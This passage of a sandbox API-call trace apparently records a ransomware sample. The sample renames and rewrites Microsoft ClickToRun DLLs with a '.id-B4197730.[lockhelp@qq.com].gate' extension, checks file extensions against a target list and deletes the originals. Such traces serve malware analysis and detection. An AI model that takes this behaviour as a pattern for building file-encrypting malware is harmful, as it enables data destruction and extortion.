Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20 [0319.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.721] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0319.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0319.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0319.721] lstrlenW (lpString=".doc") returned 4 [0319.721] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.721] lstrlenW (lpString=".docx") returned 5 [0319.721] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0319.721] lstrlenW (lpString=".pdf") returned 4 [0319.721] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.721] lstrlenW (lpString=".xls") returned 4 [0319.721] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.721] lstrlenW (lpString=".xlsx") returned 5 [0319.722] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0319.722] lstrlenW (lpString=".ppt") returned 4 [0319.722] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0319.722] lstrlenW (lpString=".zip") returned 4 [0319.722] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.722] lstrlenW (lpString=".rar") returned 4 [0319.722] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.722] lstrlenW (lpString=".bz2") returned 4 [0319.722] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.722] lstrlenW (lpString=".7z") returned 3 [0319.722] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0319.722] lstrlenW (lpString=".dbf") returned 4 [0319.722] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0319.722] lstrlenW (lpString=".1cd") returned 4 [0319.722] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0319.722] lstrlenW (lpString=".jpg") returned 4 [0319.722] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0319.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0319.722] lstrlenW (lpString=".doc") returned 4 [0319.722] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.722] lstrlenW (lpString=".docx") returned 5 [0319.722] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0319.722] lstrlenW (lpString=".pdf") returned 4 [0319.722] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.722] lstrlenW (lpString=".xls") returned 4 [0319.722] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.722] lstrlenW (lpString=".xlsx") returned 5 [0319.722] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0319.723] lstrlenW (lpString=".ppt") returned 4 [0319.723] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0319.723] lstrlenW (lpString=".zip") returned 4 [0319.723] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.723] lstrlenW (lpString=".rar") returned 4 [0319.723] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.723] lstrlenW (lpString=".bz2") returned 4 [0319.723] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.723] lstrlenW (lpString=".7z") returned 3 [0319.723] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0319.723] lstrlenW (lpString=".dbf") returned 4 [0319.723] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0319.723] lstrlenW (lpString=".1cd") returned 4 [0319.723] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0319.723] lstrlenW (lpString=".jpg") returned 4 [0319.723] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.723] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.723] lstrlenW (lpString="AppVIsvSubsystemController.dll") returned 30 [0319.723] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0319.724] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1402584) returned 1 [0319.724] CloseHandle (hObject=0x348) returned 1 [0319.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20 [0319.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0319.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0319.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0319.724] lstrlenW (lpString=".doc") returned 4 [0319.724] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.724] lstrlenW (lpString=".docx") returned 5 [0319.724] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0319.724] lstrlenW (lpString=".pdf") returned 4 [0319.724] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.724] lstrlenW (lpString=".xls") returned 4 [0319.724] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.724] lstrlenW (lpString=".xlsx") returned 5 [0319.724] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0319.724] lstrlenW (lpString=".ppt") returned 4 [0319.724] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0319.724] lstrlenW (lpString=".zip") returned 4 [0319.725] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.725] lstrlenW (lpString=".rar") returned 4 [0319.725] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.725] lstrlenW (lpString=".bz2") returned 4 [0319.725] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.725] lstrlenW (lpString=".7z") returned 3 [0319.725] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0319.725] lstrlenW (lpString=".dbf") returned 4 [0319.725] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0319.725] lstrlenW (lpString=".1cd") returned 4 [0319.725] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0319.725] lstrlenW (lpString=".jpg") returned 4 [0319.725] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0319.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0319.725] lstrlenW (lpString=".doc") returned 4 [0319.725] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.725] lstrlenW (lpString=".docx") returned 5 [0319.725] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0319.725] lstrlenW (lpString=".pdf") returned 4 [0319.725] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.725] lstrlenW (lpString=".xls") returned 4 [0319.725] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.725] lstrlenW (lpString=".xlsx") returned 5 [0319.725] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0319.725] lstrlenW (lpString=".ppt") returned 4 [0319.725] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0319.725] lstrlenW (lpString=".zip") returned 4 [0319.725] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.725] lstrlenW (lpString=".rar") returned 4 [0319.726] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.726] lstrlenW (lpString=".bz2") returned 4 [0319.726] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.726] lstrlenW (lpString=".7z") returned 3 [0319.726] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0319.726] lstrlenW (lpString=".dbf") returned 4 [0319.726] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0319.726] lstrlenW (lpString=".1cd") returned 4 [0319.726] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0319.726] lstrlenW (lpString=".jpg") returned 4 [0319.726] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.726] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.726] lstrlenW (lpString="AppvIsvSubsystems32.dll") returned 23 [0319.726] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0319.726] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1761448) returned 1 [0319.726] CloseHandle (hObject=0x348) returned 1 [0319.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")) returned 0x20 [0319.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.727] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 1 [0319.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0319.727] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc64 | out: lpNewFilePointer=0x0) returned 1 [0319.727] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc24 | out: lpNewFilePointer=0x0) returned 1 [0319.727] ReadFile (in: hFile=0x348, lpBuffer=0x4066058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc30, lpOverlapped=0x0 | out: lpBuffer=0x4066058*, lpNumberOfBytesRead=0x364fc30*=0x40000, lpOverlapped=0x0) returned 1 [0319.771] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x364fc24 | out: lpNewFilePointer=0x0) returned 1 [0319.771] ReadFile (in: hFile=0x348, lpBuffer=0x40a6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc30, lpOverlapped=0x0 | out: lpBuffer=0x40a6058*, lpNumberOfBytesRead=0x364fc30*=0x40000, lpOverlapped=0x0) returned 1 [0319.826] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x364fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0319.826] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x364fc24 | out: lpNewFilePointer=0x0) returned 1 [0319.826] ReadFile (in: hFile=0x348, lpBuffer=0x40e6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc30, lpOverlapped=0x0 | out: lpBuffer=0x40e6058*, lpNumberOfBytesRead=0x364fc30*=0x40000, lpOverlapped=0x0) returned 1 [0320.155] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.155] WriteFile (in: hFile=0x348, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x364fca8, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fca8*=0xc011a, lpOverlapped=0x0) returned 1 [0320.180] SetEndOfFile (hFile=0x348) returned 1 [0320.180] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x40000) returned 0x44950d0 [0320.542] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc74 | out: lpNewFilePointer=0x0) returned 1 [0320.542] WriteFile (in: hFile=0x348, lpBuffer=0x44950d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc80, lpOverlapped=0x0 | out: lpBuffer=0x44950d0*, lpNumberOfBytesWritten=0x364fc80*=0x40000, lpOverlapped=0x0) returned 1 [0320.543] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x364fc74 | out: lpNewFilePointer=0x0) returned 1 [0320.543] WriteFile (in: hFile=0x348, lpBuffer=0x44950d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc80, lpOverlapped=0x0 | out: lpBuffer=0x44950d0*, lpNumberOfBytesWritten=0x364fc80*=0x40000, lpOverlapped=0x0) returned 1 [0320.545] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x364fc74 | out: lpNewFilePointer=0x0) returned 1 [0320.545] WriteFile (in: hFile=0x348, lpBuffer=0x44950d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc80, lpOverlapped=0x0 | out: lpBuffer=0x44950d0*, lpNumberOfBytesWritten=0x364fc80*=0x40000, lpOverlapped=0x0) returned 1 [0320.546] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44950d0 | out: hHeap=0x490000) returned 1 [0320.548] CloseHandle (hObject=0x348) returned 1 [0320.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0320.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0320.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0320.548] lstrlenW (lpString=".doc") returned 4 [0320.548] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0320.548] lstrlenW (lpString=".docx") returned 5 [0320.548] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0320.548] lstrlenW (lpString=".pdf") returned 4 [0320.548] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0320.548] lstrlenW (lpString=".xls") returned 4 [0320.548] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0320.548] lstrlenW (lpString=".xlsx") returned 5 [0320.548] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0320.548] lstrlenW (lpString=".ppt") returned 4 [0320.548] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0320.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0320.549] lstrlenW (lpString=".zip") returned 4 [0320.549] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0320.549] lstrlenW (lpString=".rar") returned 4 [0320.549] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0320.549] lstrlenW (lpString=".bz2") returned 4 [0320.549] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0320.549] lstrlenW (lpString=".7z") returned 3 [0320.549] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0320.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0320.549] lstrlenW (lpString=".dbf") returned 4 [0320.549] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0320.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0320.549] lstrlenW (lpString=".1cd") returned 4 [0320.549] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0320.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0320.549] lstrlenW (lpString=".jpg") returned 4 [0320.549] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0320.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0320.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0320.549] lstrlenW (lpString=".doc") returned 4 [0320.549] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0320.549] lstrlenW (lpString=".docx") returned 5 [0320.549] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0320.549] lstrlenW (lpString=".pdf") returned 4 [0320.549] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0320.549] lstrlenW (lpString=".xls") returned 4 [0320.549] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0320.549] lstrlenW (lpString=".xlsx") returned 5 [0320.549] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0320.549] lstrlenW (lpString=".ppt") returned 4 [0320.549] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0320.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0320.549] lstrlenW (lpString=".zip") returned 4 [0320.549] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0320.550] lstrlenW (lpString=".rar") returned 4 [0320.550] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0320.550] lstrlenW (lpString=".bz2") returned 4 [0320.550] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0320.550] lstrlenW (lpString=".7z") returned 3 [0320.550] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0320.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0320.550] lstrlenW (lpString=".dbf") returned 4 [0320.550] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0320.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0320.550] lstrlenW (lpString=".1cd") returned 4 [0320.550] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0320.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0320.550] lstrlenW (lpString=".jpg") returned 4 [0320.550] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0320.550] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0320.550] lstrlenW (lpString="C2RUI.en-us.dll") returned 15 [0320.550] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0320.550] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=902328) returned 1 [0320.550] CloseHandle (hObject=0x348) returned 1 [0320.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 0x20 [0320.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0320.551] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.551] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0320.551] GetLastError () returned 0x0 [0320.551] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0xdc4b8, lpOverlapped=0x0) returned 1 [0320.670] WriteFile (in: hFile=0x35c, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0xdc4c0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0xdc4c0, lpOverlapped=0x0) returned 1 [0320.683] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.683] WriteFile (in: hFile=0x35c, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0xf2, lpOverlapped=0x0) returned 1 [0320.683] SetEndOfFile (hFile=0x35c) returned 1 [0320.683] CloseHandle (hObject=0x35c) returned 1 [0320.683] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.683] SetEndOfFile (hFile=0x348) returned 1 [0320.945] CloseHandle (hObject=0x348) returned 1 [0320.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0320.946] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 1 [0320.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0320.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0320.946] lstrlenW (lpString=".doc") returned 4 [0320.946] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0320.946] lstrlenW (lpString=".docx") returned 5 [0320.946] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0320.946] lstrlenW (lpString=".pdf") returned 4 [0320.946] lstrcmpiW (lpString1=".pdf", lpString2=".dll") 